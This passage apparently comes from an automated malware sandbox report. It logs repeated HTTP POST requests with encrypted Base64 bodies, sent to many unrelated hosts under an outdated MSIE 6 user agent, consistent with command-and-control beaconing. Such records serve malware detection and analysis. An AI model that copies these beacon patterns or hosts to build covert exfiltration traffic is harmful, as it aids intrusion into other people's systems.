34 50 4b 43 34 36 51 39 45 50 37 72 63 4f 77 44 72 4d 4c 6d 76 71 36 63 37 68 61 73 68 4d 4c 46 6a 61 33 6c 44 30 45 7a 46 Data Ascii: oRsSNF0jmA/fv730lM1UGZbvzFYLRkB/4eEDxLeLa/7OzHv1yyREAxG4Qw0pU8EhS1J268f2RkuVo++M2VDJKgfsMbNKqd8raWKJwhjiKTJMMoQHrzybddPgRAR20hrADlFf5pGCoF/qKE45OmeT3Z1t3i9dWSAk2tOa7M4DMuRDrLIdeAIh5uSh6cnIxIZCxblu4lMMojcKYxR5Sv8K521Rzoeezo85dq39uWCcfqE3IFpPinc48aKT7G7LwRaiDCnfPMw9YCPjoPDjxkx3jx6K/Aue4vcnIkE4H4ZTiUYoc9IlFTqvNlFjbbtGYyDxSVOCpmSS63SUPQMRWdNLJl7SlSb0IB+65zrPuY8Ke4abOVEDen2t7iMfXI8pv6sEcazY7WgYJvWWDyiJt5WQTDGMS7EZGx8wu1R6DVrdI+Db0qW8aP+BNXRIntqfmrS+ni2KH6Lf4U6z2pAsfHS9OOXHhJAmGVxgRuYW0Uq4PKC46Q9EP7rcOwDrMLmvq6c7hashMLFja3lD0EzF
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 73 52 72 51 52 42 49 4f 69 41 39 31 73 69 48 51 78 64 61 30 6d 78 58 70 48 78 39 69 73 36 74 39 5a 69 30 39 68 4e 31 46 32 55 6b 4e 6c 69 70 35 72 53 72 34 66 70 70 57 4f 6c 59 38 30 2b 33 34 37 6d 31 42 6b 38 38 65 4b 4d 4d 48 74 59 4d 77 62 63 4a 6b 76 72 51 6a 56 44 76 37 4d 5a 59 2b 43 6a 6f 52 51 71 6b 72 4b 74 51 34 69 52 53 61 37 4c 59 32 55 43 4d 46 47 63 78 70 64 6a 7a 5a 77 2f 43 34 31 7a 2f 68 77 44 68 59 4d 54 64 39 71 71 6c 59 73 5a 51 70 76 46 78 70 41 57 5a 55 47 34 6e 6c 77 69 46 61 56 71 6b 64 64 4b 66 67 77 74 59 54 4d 78 65 64 74 75 71 6e 79 67 63 6e 47 61 62 79 57 6d 66 72 50 56 72 43 51 58 4b 38 57 31 72 54 67 66 38 54 34 39 41 6b 54 51 78 46 6f 48 64 31 6b 54 2f 5a 61 79 45 4b 75 71 37 55 30 6f 57 30 37 61 64 44 6d 35 79 4d 4d 54 78 2f 43 33 6a 57 67 58 56 35 37 36 39 67 6b 42 77 4f 35 4b 68 42 56 55 4e 30 4a 7a 37 44 71 45 42 6e 77 65 47 68 46 74 38 34 32 6c 53 32 62 45 65 52 64 7a 75 56 49 77 49 61 49 30 49 55 43 6f 31 37 72 41 6b 45 4a 2b 4b 38 4c 36 6e 51 6b 45 41 42 7a 34 71 65 61 75 57 4b 4d 75 50 72 38 61 35 69 4f 74 57 33 44 4e 33 4e 4c 4a 53 77 64 69 77 63 49 31 4e 33 69 49 6f 32 4e 65 57 35 49 78 62 6b 6b 58 51 61 44 56 74 31 39 75 61 70 46 46 47 36 62 41 6f 34 47 51 48 64 62 37 78 7a 76 55 66 2f 56 46 43 37 58 58 65 78 34 49 47 6d 65 69 68 41 53 31 35 30 63 64 4b 6d 30 55 67 68 6c 64 4e 2b 77 69 38 66 61 47 51 4f 68 41 6d 79 43 6f 5a 41 34 39 59 77 30 31 61 33 4b 7a 43 42 37 6f 43 50 74 37 76 63 7a 49 56 54 50 77 7a 2b 46 73 74 4a 37 54 32 35 72 6f 78 77 55 70 37 63 4b 38 48 51 62 36 4b 56 55 6b 64 6d 69 62 54 4c 57 49 6c 53 77 34 4b 69 33 71 4b 50 56 51 56 65 31 4c 31 61 4b 59 47 32 6a 58 39 79 43 38 77 73 45 4a 51 58 48 37 76 57 37 66 4a 51 67 53 43 43 48 51 6f 54 59 2b 47 5a 52 74 43 4f 68 50 61 42 6d 4d 38 3d Data Ascii: sRrQRBIOiA91siHQxda0mxXpHx9is6t9Zi09hN1F2UkNlip5rSr4fppWOlY80+347m1Bk88eKMMHtYMwbcJkvrQjVDv7MZY+CjoRQqkrKtQ4iRSa7LY2UCMFGcxpdjzZw/C41z/hwDhYMTd9qqlYsZQpvFxpAWZUG4nlwiFaVqkddKfgwtYTMxedtuqnygcnGabyWmfrPVrCQXK8W1rTgf8T49AkTQxFoHd1kT/ZayEKuq7U0oW07adDm5yMMTx/C3jWgXV5769gkBwO5KhBVUN0Jz7DqEBnweGhFt842lS2bEeRdzuVIwIaI0IUCo17rAkEJ+K8L6nQkEABz4qeauWKMuPr8a5iOtW3DN3NLJSwdiwcI1N3iIo2NeW5IxbkkXQaDVt19uapFFG6bAo4GQHdb7xzvUf/VFC7XXex4IGmeihAS150cdKm0UghldN+wi8faGQOhAmyCoZA49Yw01a3KzCB7oCPt7vczIVTPwz+FstJ7T25roxwUp7cK8HQb6KVUkdmibTLWIlSw4Ki3qKPVQVe1L1aKYG2jX9yC8wsEJQXH7vW7fJQgSCCHQoTY+GZRtCOhPaBmM8=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fe-bauer.deCache-Control: no-cacheData Raw: 68 36 69 79 6c 6a 52 45 4c 77 2f 49 71 68 63 5a 6a 79 49 57 67 49 66 64 5a 75 45 73 32 63 31 2f 71 45 54 64 2b 37 43 78 78 54 61 54 4b 54 76 61 48 32 6d 62 2b 74 7a 4c 36 55 4a 70 61 45 38 2b 71 69 50 61 71 49 6d 62 50 68 46 57 70 6b 66 65 43 54 53 79 78 4a 73 37 59 53 45 57 63 76 73 70 48 4e 34 73 36 58 68 35 63 6b 53 43 6f 52 69 71 33 50 6d 47 6f 39 6b 6c 45 79 75 66 5a 42 64 79 72 66 61 53 49 6e 65 38 63 44 47 4f 4d 71 30 44 37 47 4f 52 51 62 4b 44 54 33 4a 46 75 4c 2f 6e 32 6c 53 34 74 4c 6d 77 4c 46 51 50 4e 45 43 79 76 6f 6c 6b 2b 70 73 46 31 6e 46 4b 68 2b 35 6e 75 6a 52 38 67 71 4e 39 2b 61 44 76 42 48 67 56 66 74 42 58 75 6f 4c 61 69 52 5a 48 48 56 77 6e 6b 5a 61 6c 6e 61 69 2b 39 36 53 2f 64 39 2f 36 77 78 53 59 2f 63 55 49 38 39 6a 46 68 73 6c 74 38 61 50 76 53 36 53 64 4a 39 33 58 32 53 55 68 74 6a 68 57 2f 32 4c 38 67 37 37 76 4b 35 76 63 48 54 77 6e 31 34 77 6c 67 72 52 67 38 37 62 41 45 55 7a 74 4e 78 4f 6b 67 61 62 58 34 77 55 32 59 71 66 34 66 4a 61 36 48 2f 50 45 37 65 4e 78 63 55 53 37 2b 48 71 2b 49 59 53 62 4c 76 4f 70 78 50 70 6c 36 79 33 72 61 4b 47 4c 6b 47 55 6f 56 54 42 76 36 4b 53 51 48 44 32 35 4b 41 58 72 73 75 59 44 6f 47 75 77 58 6e 37 6e 50 43 5a 4c 58 73 47 58 69 55 7a 34 45 43 4b 47 76 35 5a 53 66 35 38 6e 65 48 37 70 51 65 50 31 61 6f 65 30 71 68 76 66 45 76 42 37 74 69 55 65 37 49 69 55 54 55 4c 47 34 78 36 66 53 75 32 58 54 44 51 4c 75 56 4a 4a 69 6e 56 75 75 56 6c 4d 4d 55 64 6a 45 2f 42 4f 58 6e 5a 2f 72 39 66 32 73 31 41 46 4f 54 35 34 53 44 33 67 38 4a 67 58 65 6d 52 2f 4c 63 50 47 69 32 54 72 58 56 75 6a 6a 4d 72 75 70 47 66 41 47 2b 62 6c 58 6e 51 6d 33 77 54 64 36 50 4a 69 6a 76 62 33 6e 52 34 48 34 4b 7a 67 35 61 45 3d Data Ascii: h6iyljRELw/IqhcZjyIWgIfdZuEs2c1/qETd+7CxxTaTKTvaH2mb+tzL6UJpaE8+qiPaqImbPhFWpkfeCTSyxJs7YSEWcvspHN4s6Xh5ckSCoRiq3PmGo9klEyufZBdyrfaSIne8cDGOMq0D7GORQbKDT3JFuL/n2lS4tLmwLFQPNECyvolk+psF1nFKh+5nujR8gqN9+aDvBHgVftBXuoLaiRZHHVwnkZalnai+96S/d9/6wxSY/cUI89jFhslt8aPvS6SdJ93X2SUhtjhW/2L8g77vK5vcHTwn14wlgrRg87bAEUztNxOkgabX4wU2Yqf4fJa6H/PE7eNxcUS7+Hq+IYSbLvOpxPpl6y3raKGLkGUoVTBv6KSQHD25KAXrsuYDoGuwXn7nPCZLXsGXiUz4ECKGv5ZSf58neH7pQeP1aoe0qhvfEvB7tiUe7IiUTULG4x6fSu2XTDQLuVJJinVuuVlMMUdjE/BOXnZ/r9f2s1AFOT54SD3g8JgXemR/LcPGi2TrXVujjMrupGfAG+blXnQm3wTd6PJijvb3nR4H4Kzg5aE=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.medisa.infoCache-Control: no-cacheData Raw: 2b 73 35 42 32 78 65 56 49 68 43 68 70 56 38 55 42 71 2f 57 5a 47 44 62 77 41 6c 4e 79 30 2f 4d 4f 79 4c 32 53 66 48 50 31 75 33 4f 72 2b 4f 6e 6e 76 53 34 69 41 65 4c 45 4a 6f 4e 77 76 58 42 2b 56 78 4f 31 66 5a 6c 4c 70 32 37 53 41 62 74 32 78 72 54 73 69 6b 35 38 74 4a 36 59 34 2b 4b 4e 77 31 58 33 78 67 44 4a 4d 64 75 78 4c 50 65 35 53 48 57 41 55 72 64 6a 58 4d 7a 52 63 66 63 5a 45 2b 30 53 49 44 6a 72 6e 43 54 70 61 73 75 6c 42 6a 39 47 72 55 77 67 79 6e 59 4a 44 6f 34 46 4b 75 43 71 34 48 62 6f 37 77 2f 30 53 62 79 53 52 38 45 36 4e 64 76 53 30 69 44 4c 56 65 31 7a 39 56 35 65 78 49 54 52 47 75 75 58 48 57 76 72 30 50 42 72 55 45 53 6e 45 38 67 79 69 54 6d 4e 4f 69 55 2b 67 48 51 36 5a 30 6d 45 71 64 48 4e 6e 5a 55 4d 4d 51 34 6e 52 55 7a 6c 4c 78 69 7a 5a 6b 54 50 77 39 73 61 4d 53 64 6f 6f 44 73 6f 37 54 65 52 38 67 68 53 48 47 4b 4a 46 75 4b 59 2f 68 66 54 6c 52 47 5a 48 65 76 55 5a 61 4e 47 41 4a 6c 6f 74 42 4c 77 4d 35 62 58 35 38 30 71 6a 75 6d 58 6b 43 68 4f 55 45 79 74 51 39 76 7a 4b 59 42 6c 33 62 34 4b 43 6b 46 2f 4d 35 6e 4b 63 6b 66 6a 32 69 66 4c 36 68 68 71 50 64 49 58 66 33 46 4b 53 44 68 75 46 5a 6f 30 41 65 7a 34 4a 2f 55 49 71 6e 75 58 74 36 58 50 34 47 38 77 43 68 52 2f 42 42 43 38 66 73 64 51 52 79 61 5a 67 67 77 37 45 78 63 32 47 76 71 52 66 33 48 55 4a 45 77 45 4a 6d 54 44 41 76 73 43 71 49 42 6f 42 78 4a 64 6e 76 73 67 6e 62 31 70 4a 50 50 33 75 37 32 4d 58 6a 76 6e 30 57 77 6d 30 6e 7a 6e 65 4e 73 57 64 4d 38 35 68 7a 67 69 51 64 68 52 4f 6c 63 73 62 72 6f 62 37 51 42 58 37 43 33 57 4a 78 59 6e 38 76 51 57 49 35 6c 65 45 58 32 79 6d 6d 59 67 48 73 79 4f 4a 53 69 41 6f 63 43 7a 77 3d 3d Data Ascii: +s5B2xeVIhChpV8UBq/WZGDbwAlNy0/MOyL2SfHP1u3Or+OnnvS4iAeLEJoNwvXB+VxO1fZlLp27SAbt2xrTsik58tJ6Y4+KNw1X3xgDJMduxLPe5SHWAUrdjXMzRcfcZE+0SIDjrnCTpasulBj9GrUwgynYJDo4FKuCq4Hbo7w/0SbySR8E6NdvS0iDLVe1z9V5exITRGuuXHWvr0PBrUESnE8gyiTmNOiU+gHQ6Z0mEqdHNnZUMMQ4nRUzlLxizZkTPw9saMSdooDso7TeR8ghSHGKJFuKY/hfTlRGZHevUZaNGAJlotBLwM5bX580qjumXkChOUEytQ9vzKYBl3b4KCkF/M5nKckfj2ifL6hhqPdIXf3FKSDhuFZo0Aez4J/UIqnuXt6XP4G8wChR/BBC8fsdQRyaZggw7Exc2GvqRf3HUJEwEJmTDAvsCqIBoBxJdnvsgnb1pJPP3u72MXjvn0Wwm0nzneNsWdM85hzgiQdhROlcsbrob7QBX7C3WJxYn8vQWI5leEX2ymmYgHsyOJSiAocCzw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ka-mo-me.comCache-Control: no-cacheData Raw: 52 6f 6d 58 56 39 4a 42 74 6c 70 41 68 53 6c 41 68 66 64 72 34 39 55 57 4f 65 30 69 45 6c 55 50 4a 72 33 62 2f 37 62 2f 76 74 53 6a 51 54 43 51 33 58 41 75 38 49 68 43 77 35 4a 4c 4d 4a 65 47 76 30 55 79 5a 76 64 52 4c 57 54 45 73 48 34 4b 66 6b 68 5a 33 45 59 66 6d 36 48 38 5a 53 53 77 44 65 70 45 65 54 37 52 46 2f 71 48 64 37 71 61 37 4b 76 2b 64 52 73 7a 79 56 34 4d 7a 48 58 42 5a 32 71 6c 6c 76 48 52 52 5a 34 70 41 41 37 71 34 34 75 32 4b 6a 48 50 46 39 48 65 36 65 32 36 69 2f 70 57 31 4d 56 37 32 33 67 45 53 43 4e 42 33 32 66 66 73 74 33 38 63 6a 4d 7a 52 68 33 6c 47 61 72 57 67 49 67 71 52 75 30 51 50 34 79 31 54 78 67 32 47 39 66 47 77 6b 55 32 75 6c 43 2b 50 69 75 62 4a 4e 31 61 52 41 6f 38 4e 52 37 4d 67 51 64 58 70 33 4e 68 53 6a 66 47 6d 48 4c 6b 73 30 36 70 4d 7a 43 54 6f 69 39 48 2b 54 46 59 32 2b 4f 65 61 36 43 6a 51 41 51 4d 58 46 2f 51 6d 6b 66 59 4b 33 63 4b 48 50 56 44 73 67 36 57 46 4c 72 34 72 4e 72 6e 4c 30 55 46 74 51 53 78 59 62 30 49 59 54 70 73 76 30 61 47 7a 2f 79 69 39 50 62 69 31 37 4e 64 4d 42 33 4d 5a 30 74 50 68 43 6c 4f 74 31 39 4c 4a 35 34 46 67 78 71 6b 62 6a 49 51 5a 58 46 34 57 51 77 57 52 32 44 68 31 58 4a 69 45 43 66 73 76 75 68 41 52 43 4d 72 75 32 44 42 7a 6e 63 63 35 49 38 4b 59 34 58 42 55 4e 6d 37 59 48 4d 70 4e 50 6a 52 6f 6e 78 63 48 67 56 36 45 53 35 6b 52 37 65 69 4a 41 33 57 43 69 31 51 48 67 6c 4f 63 52 46 33 35 59 43 6b 66 59 33 78 2f 70 72 66 6b 64 72 74 6f 41 6e 66 62 33 51 34 65 62 48 57 4d 70 50 70 6b 72 54 61 62 6e 76 64 35 78 56 50 59 52 53 61 79 30 4f 76 44 77 6e 6d 51 50 41 51 6f 50 51 53 75 54 74 75 67 64 52 49 74 53 52 63 57 74 6a 50 66 6d 4e 64 70 65 79 70 41 72 64 78 57 5a 65 53 52 58 50 59 37 72 77 63 69 66 39 65 2f 65 59 37 4d 39 6b 57 6a 49 65 64 58 49 79 62 4b 6c 56 72 59 31 31 6e 6d 44 50 57 Data Ascii: RomXV9JBtlpAhSlAhfdr49UWOe0iElUPJr3b/7b/vtSjQTCQ3XAu8IhCw5JLMJeGv0UyZvdRLWTEsH4KfkhZ3EYfm6H8ZSSwDepEeT7RF/qHd7qa7Kv+dRszyV4MzHXBZ2qllvHRRZ4pAA7q44u2KjHPF9He6e26i/pW1MV723gESCNB32ffst38cjMzRh3lGarWgIgqRu0QP4y1Txg2G9fGwkU2ulC+PiubJN1aRAo8NR7MgQdXp3NhSjfGmHLks06pMzCToi9H+TFY2+Oea6CjQAQMXF/QmkfYK3cKHPVDsg6WFLr4rNrnL0UFtQSxYb0IYTpsv0aGz/yi9Pbi17NdMB3MZ0tPhClOt19LJ54FgxqkbjIQZXF4WQwWR2Dh1XJiECfsvuhARCMru2DBzncc5I8KY4XBUNm7YHMpNPjRonxcHgV6ES5kR7eiJA3WCi1QHglOcRF35YCkfY3x/prfkdrtoAnfb3Q4ebHWMpPpkrTabnvd5xVPYRSay0OvDwnmQPAQoPQSuTtugdRItSRcWtjPfmNdpeypArdxWZeSRXPY7rwcif9e/eY7M9kWjIedXIybKlVrY11nmDPW
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.olras.comCache-Control: no-cacheData Raw: 42 70 66 70 62 4f 76 37 6d 51 2b 41 4a 68 32 76 77 6d 43 54 2b 31 54 70 35 79 4b 78 72 45 5a 6c 54 37 53 56 79 4c 78 54 38 53 46 79 41 4e 43 56 4a 31 5a 6e 55 50 62 4f 72 6c 42 66 79 68 4c 35 56 6f 71 4e 4a 72 65 77 54 32 45 4a 4c 77 39 4d 56 48 36 41 34 32 44 48 41 72 62 33 4b 46 66 4f 55 6a 41 4c 4d 77 62 66 4f 30 51 79 46 6b 61 79 69 52 46 6e 4c 79 56 32 77 50 38 76 7a 71 6b 4f 74 73 79 54 52 44 77 58 6d 63 59 54 73 78 53 72 69 56 55 71 7a 43 31 41 39 56 5a 52 57 63 6e 7a 45 74 6c 36 78 75 33 7a 31 70 77 4d 4d 43 4a 61 75 63 47 46 65 2f 79 6b 33 6d 72 77 6b 30 4e 38 37 38 75 59 56 48 34 65 46 7a 4a 77 4f 74 79 71 66 4c 2b 33 65 6e 2b 38 2f 47 6b 39 30 38 6d 59 4d 6c 4d 61 6b 38 35 7a 62 45 4e 49 2f 4b 37 43 69 6c 6d 39 30 34 4c 30 46 62 51 66 50 71 58 47 63 44 43 6c 70 4a 6e 73 69 62 54 6a 50 63 44 6b 75 78 70 4b 4e 54 6f 5a 38 70 59 74 76 6a 68 50 6b 63 36 34 34 7a 52 6a 5a 35 70 34 74 55 56 31 71 54 72 39 42 6a 4e 50 75 6e 32 70 52 64 77 61 50 45 50 4f 64 77 76 43 31 57 75 70 78 55 48 6e 2f 7a 58 4c 35 59 38 56 42 41 44 4c 47 37 7a 62 34 6e 7a 47 43 6c 2b 61 76 42 4c 62 33 4b 62 58 4d 7a 47 65 7a 62 75 6e 35 75 61 4c 62 35 42 42 65 46 35 4c 57 57 39 49 2f 4a 33 63 71 41 51 31 67 5a 43 4c 2b 70 45 6c 35 50 52 75 44 55 65 79 45 45 76 39 30 78 46 38 64 49 78 70 64 2f 30 67 6b 46 4f 59 4b 57 67 58 6b 61 79 6c 53 79 58 4f 44 57 42 48 77 6c 37 52 5a 47 78 31 4e 51 4d 6b 35 57 51 36 4b 6f 43 46 36 4a 33 56 58 58 49 30 4c 72 73 70 65 38 4e 71 7a 48 6b 62 4b 35 35 66 6f 67 48 70 68 4d 47 4e 33 55 33 78 2b 4a 73 48 69 30 36 52 68 6e 55 34 45 32 50 77 4d 41 2f 63 4b 4d 63 62 62 59 38 76 76 32 34 6c 4d 43 6e 62 70 42 43 68 2f 2f 54 4b 69 44 4d 2b Data Ascii: BpfpbOv7mQ+AJh2vwmCT+1Tp5yKxrEZlT7SVyLxT8SFyANCVJ1ZnUPbOrlBfyhL5VoqNJrewT2EJLw9MVH6A42DHArb3KFfOUjALMwbfO0QyFkayiRFnLyV2wP8vzqkOtsyTRDwXmcYTsxSriVUqzC1A9VZRWcnzEtl6xu3z1pwMMCJaucGFe/yk3mrwk0N878uYVH4eFzJwOtyqfL+3en+8/Gk908mYMlMak85zbENI/K7Cilm904L0FbQfPqXGcDClpJnsibTjPcDkuxpKNToZ8pYtvjhPkc644zRjZ5p4tUV1qTr9BjNPun2pRdwaPEPOdwvC1WupxUHn/zXL5Y8VBADLG7zb4nzGCl+avBLb3KbXMzGezbun5uaLb5BBeF5LWW9I/J3cqAQ1gZCL+pEl5PRuDUeyEEv90xF8dIxpd/0gkFOYKWgXkaylSyXODWBHwl7RZGx1NQMk5WQ6KoCF6J3VXXI0Lrspe8NqzHkbK55fogHphMGN3U3x+JsHi06RhnU4E2PwMA/cKMcbbY8vv24lMCnbpBCh//TKiDM+
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.alteor.clCache-Control: no-cacheData Raw: 6e 6f 72 50 62 76 36 76 4c 78 43 5a 62 58 2f 2f 79 52 66 49 50 75 47 64 6d 6d 75 2b 4f 64 7a 72 45 70 44 59 2b 69 59 78 66 41 32 30 76 53 54 4f 44 43 45 6c 33 7a 61 66 42 44 70 70 4b 63 6b 78 34 65 4c 4f 71 42 55 74 42 43 55 6b 6c 66 53 38 62 56 39 70 6a 37 56 7a 38 66 65 6e 4e 79 50 71 68 6e 59 35 37 6e 69 4a 2f 4b 41 6e 57 62 58 57 50 4e 72 72 56 5a 53 75 77 4b 72 41 76 75 69 76 2b 72 63 54 58 5a 5a 49 78 76 4c 37 34 35 78 57 76 30 7a 7a 77 73 68 39 76 6b 4c 30 44 76 6e 31 77 6d 6e 43 39 33 63 66 75 67 34 2b 61 31 72 70 2b 33 4d 32 32 4e 67 73 38 51 78 33 59 65 65 54 6a 71 4f 76 7a 6e 30 2b 44 6c 43 4c 55 58 4e 79 58 62 38 56 46 35 73 7a 39 45 2f 46 72 33 51 53 65 50 51 54 69 79 74 57 38 6a 58 49 76 42 7a 75 47 4d 38 30 52 72 51 4b 78 66 43 36 74 43 6f 6a 6e 69 4a 54 54 4e 78 46 4f 69 71 50 32 44 63 62 77 64 59 57 71 47 72 6a 63 44 2f 50 6d 69 71 6c 33 2f 51 56 35 35 62 66 36 37 4c 63 4d 45 4b 71 65 63 6f 62 76 6b 42 38 46 32 74 70 71 61 31 53 76 49 64 46 32 4f 36 64 53 52 4d 41 45 47 79 68 69 6c 36 61 30 4d 58 6f 51 57 4a 67 46 75 65 31 45 4d 56 57 41 31 42 31 4a 32 52 55 63 43 79 36 64 61 31 43 54 6b 67 52 4a 7a 68 5a 41 35 6f 7a 77 39 63 65 6a 6a 69 6c 45 2b 6c 4b 46 6b 34 56 69 71 2b 30 32 4b 35 6f 4a 45 67 63 42 62 70 65 72 68 63 68 41 71 62 57 34 66 41 78 2f 72 7a 31 61 31 58 59 30 4a 47 74 30 62 65 47 67 57 53 76 4f 46 46 35 4a 5a 34 42 73 72 64 4e 75 6b 72 4e 34 64 63 66 4f 46 4e 4d 78 42 4f 64 48 6e 48 58 4e 6f 57 69 62 56 47 53 4d 55 65 79 59 38 68 59 7a 72 6c 57 47 36 69 6b 55 2b 7a 4b 6b 41 45 70 5a 41 44 49 70 4e 43 73 47 69 30 45 6a 76 77 6d 42 78 79 39 34 69 62 45 64 74 79 6b 53 73 6f 6f 69 62 78 55 39 53 43 56 5a 67 45 76 67 79 74 2b 62 54 6d 6a 56 44 75 39 6c 74 4d 6c 59 73 59 53 35 6e 44 52 48 67 4a 76 49 41 3d 3d Data Ascii: norPbv6vLxCZbX//yRfIPuGdmmu+OdzrEpDY+iYxfA20vSTODCEl3zafBDppKckx4eLOqBUtBCUklfS8bV9pj7Vz8fenNyPqhnY57niJ/KAnWbXWPNrrVZSuwKrAvuiv+rcTXZZIxvL745xWv0zzwsh9vkL0Dvn1wmnC93cfug4+a1rp+3M22Ngs8Qx3YeeTjqOvzn0+DlCLUXNyXb8VF5sz9E/Fr3QSePQTiytW8jXIvBzuGM80RrQKxfC6tCojniJTTNxFOiqP2DcbwdYWqGrjcD/Pmiql3/QV55bf67LcMEKqecobvkB8F2tpqa1SvIdF2O6dSRMAEGyhil6a0MXoQWJgFue1EMVWA1B1J2RUcCy6da1CTkgRJzhZA5ozw9cejjilE+lKFk4Viq+02K5oJEgcBbperhchAqbW4fAx/rz1a1XY0JGt0beGgWSvOFF5JZ4BsrdNukrN4dcfOFNMxBOdHnHXNoWibVGSMUeyY8hYzrlWG6ikU+zKkAEpZADIpNCsGi0EjvwmBxy94ibEdtykSsooibxU9SCVZgEvgyt+bTmjVDu9ltMlYsYS5nDRHgJvIA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.valdal.comCache-Control: no-cacheData Raw: 52 4c 79 4c 53 57 7a 4b 4e 68 41 47 62 31 44 69 56 30 4a 71 71 48 2b 59 32 71 66 45 6c 32 54 79 59 4d 71 31 77 78 48 4f 48 41 6b 59 4c 58 4c 42 69 54 66 47 39 73 42 47 30 4b 33 74 67 35 65 2b 32 48 55 79 79 31 58 6d 70 39 41 63 76 74 75 72 5a 4f 43 31 46 54 68 62 76 6f 65 57 39 66 66 56 7a 77 52 31 69 50 4e 35 36 74 72 53 62 79 36 72 4f 6e 74 41 49 46 45 61 65 6b 6c 34 2b 36 32 36 62 75 67 64 6b 47 62 72 34 7a 52 6b 41 42 4f 48 63 32 55 31 6d 72 61 49 6c 59 4a 76 30 31 64 68 37 67 58 4f 4c 73 73 4f 4a 2b 4a 36 73 42 62 45 36 31 4a 4e 59 55 37 34 36 72 65 6b 33 38 4e 63 45 72 44 33 2b 4c 33 6f 70 65 74 6e 31 42 2f 43 47 42 33 67 50 65 67 57 54 50 75 4a 6b 50 55 6c 36 48 64 77 76 2f 43 57 53 73 50 37 63 62 42 7a 75 59 54 52 68 71 44 53 79 54 41 71 35 59 36 58 32 70 59 6e 37 34 2b 64 72 68 43 66 47 35 51 4f 49 41 56 45 5a 52 2f 72 54 78 69 76 6a 4b 32 42 74 43 76 4c 4e 4c 67 6e 41 71 70 69 37 47 41 48 4b 75 72 32 6b 53 46 78 4f 75 63 2f 62 51 71 58 39 69 5a 6e 4e 30 6c 33 58 30 51 62 38 73 75 54 46 6f 70 49 2b 72 69 52 58 73 38 73 63 4b 34 67 44 62 48 6d 73 53 38 48 37 43 39 69 35 67 2f 50 4a 6b 64 57 54 48 63 6c 36 72 78 4e 4e 59 44 77 6d 64 58 42 54 4a 32 66 35 35 53 63 6f 4c 38 43 7a 39 66 58 33 32 6c 7a 59 51 32 58 50 6c 68 78 5a 4c 4f 48 59 73 79 57 33 66 38 7a 55 56 6b 75 4f 33 77 2b 39 54 4d 39 70 54 4e 38 30 6d 79 6b 6a 43 72 41 41 5a 55 71 72 32 49 55 53 2f 32 75 57 35 4c 66 2f 36 38 35 30 70 32 61 48 74 46 41 36 51 36 77 47 6c 59 65 41 6e 64 43 63 4d 4c 48 62 59 58 39 30 68 33 46 7a 42 45 73 6f 31 57 71 4b 42 51 54 4e 39 50 75 73 34 6d 78 2f 31 6d 78 4b 38 47 6f 49 31 34 6d 7a 52 51 5a 70 36 6c 32 51 32 47 68 57 2f 6e 6f 6c 4b 41 61 39 51 3d 3d Data Ascii: RLyLSWzKNhAGb1DiV0JqqH+Y2qfEl2TyYMq1wxHOHAkYLXLBiTfG9sBG0K3tg5e+2HUyy1Xmp9AcvturZOC1FThbvoeW9ffVzwR1iPN56trSby6rOntAIFEaekl4+626bugdkGbr4zRkABOHc2U1mraIlYJv01dh7gXOLssOJ+J6sBbE61JNYU746rek38NcErD3+L3opetn1B/CGB3gPegWTPuJkPUl6Hdwv/CWSsP7cbBzuYTRhqDSyTAq5Y6X2pYn74+drhCfG5QOIAVEZR/rTxivjK2BtCvLNLgnAqpi7GAHKur2kSFxOuc/bQqX9iZnN0l3X0Qb8suTFopI+riRXs8scK4gDbHmsS8H7C9i5g/PJkdWTHcl6rxNNYDwmdXBTJ2f55ScoL8Cz9fX32lzYQ2XPlhxZLOHYsyW3f8zUVkuO3w+9TM9pTN80mykjCrAAZUqr2IUS/2uW5Lf/6850p2aHtFA6Q6wGlYeAndCcMLHbYX90h3FzBEso1WqKBQTN9Pus4mx/1mxK8GoI14mzRQZp6l2Q2GhW/nolKAa9Q==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.mqs.com.brCache-Control: no-cacheCookie: __goc_session__=lafcfcoaucmfvhcxntzzjciukguenwvsData Raw: 4b 66 64 75 66 48 78 78 4f 42 43 4e 79 34 57 2b 4a 78 36 67 6f 51 2b 6d 65 7a 77 55 74 48 47 58 63 4e 72 30 79 44 34 35 70 70 44 66 58 35 56 70 2b 67 2f 46 78 2f 65 49 73 36 67 39 6d 41 37 63 4d 4d 55 72 38 49 67 6d 71 6d 75 77 37 35 57 36 48 4e 64 50 69 52 4a 57 64 6c 4e 4b 59 2f 57 58 76 78 44 66 65 59 37 6b 46 59 69 50 58 39 42 41 66 74 34 2f 41 7a 31 4a 4e 37 5a 4a 58 70 7a 5a 70 36 39 63 72 62 6c 79 5a 69 4b 4f 36 36 4c 46 7a 4d 71 30 71 36 78 43 52 68 53 6e 79 31 6a 52 35 56 35 35 6b 6b 77 52 4e 39 64 34 76 70 78 37 41 77 5a 66 77 59 63 55 70 44 47 45 76 73 6d 32 38 46 2f 38 50 2f 50 74 77 70 31 42 7a 